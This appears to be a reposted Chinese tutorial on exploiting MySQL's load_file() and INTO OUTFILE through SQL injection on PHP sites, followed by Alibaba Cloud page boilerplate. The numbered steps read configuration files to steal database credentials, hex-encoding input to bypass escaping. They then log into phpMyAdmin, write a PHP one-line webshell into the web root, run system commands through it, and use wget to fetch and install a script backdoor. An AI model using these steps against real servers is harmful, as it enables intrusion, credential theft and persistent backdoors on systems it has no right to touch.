php mysql下的load_file函數與into_out函數

來源:互聯網
上載者:User

標籤:許可權   地址   建立   訪問   pfile   進位   使用者名稱   版本   滑鼠   

1.MySQL使用者的許可權(mysql.user裡可以查看),file_priv,可以對系統檔案進行讀寫,當然這個檔案要是當前的系統使用者有讀寫權限的。

2.Load_file()函數,讀取檔案內容

3.Into outfile(匯出字元類型的檔案,如文字檔)或into dumpfile(可以匯出二進位,如執行檔案)可以匯出資料庫內容到檔案

4.一句話木馬,<?php system($_REQUEST[cmd];)?>可以執行系統命令

5.滑鼠放網站連結上,在下面狀態列看到php?id=一般說明與資料庫互動

6在顯示位上用user()可以顯示目前使用者,database()顯示當前資料庫名稱,version()資料庫版本(@@version),@@basedir(顯示資料庫安裝路徑),@@datadir資料庫的資料路徑

7如果在顯示位上用load_file()載入實體路徑(因為magic_quotes_gpc可能是開啟的轉換成十六進位後可以繞過它的限制,所以要轉換成十六進位)出來的沒有資料庫資訊的話,那麼它包含的檔案一般都有資料庫連接資訊等,再用load_file()載入包含的檔案(依舊轉換成十六進位)

8MySQL除了企業版是不可以遠端連線的,一般都有phpmyadmin,一般在網站URL後面加上phpmyadmin

9利用load_file()載入出包含檔案裡的使用者名稱密碼登入phpmyadmin ,建立新的資料庫,表,欄位,然後再在該資料庫中執行語句select  *  from beach  into   outfile  ‘網站的絕對路徑/匯出檔案的檔案名稱(自己隨便建立建立)’

10.訪問網站的絕對路徑/匯出的檔案名稱.php?看是否匯出成功

訪問網站的絕對路徑/匯出的檔案名稱.php?建立的欄位=ls  列出路徑下的所有檔案

11用wget這個軟體下載指令碼後門:網站的絕對路徑/匯出的檔案名稱.php?建立的欄位=wget+下載的地址

12.下載完成後用網站的絕對路徑/匯出的檔案名稱.php?建立的欄位=ls  列出路徑下的所有檔案看是否下載成功。

13.用網站的絕對路徑/匯出的檔案名稱.php?建立的欄位=mv+原檔案名稱+新檔案名稱

14.訪問網站的絕對路徑/新檔案名稱登入指令檔後門即可(可用網站的絕對路徑/匯出的檔案名稱.php?建立的欄位=cat ./新建立的檔案名稱查看指令碼後門的密碼)

php mysql下的load_file函數與into_out函數

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.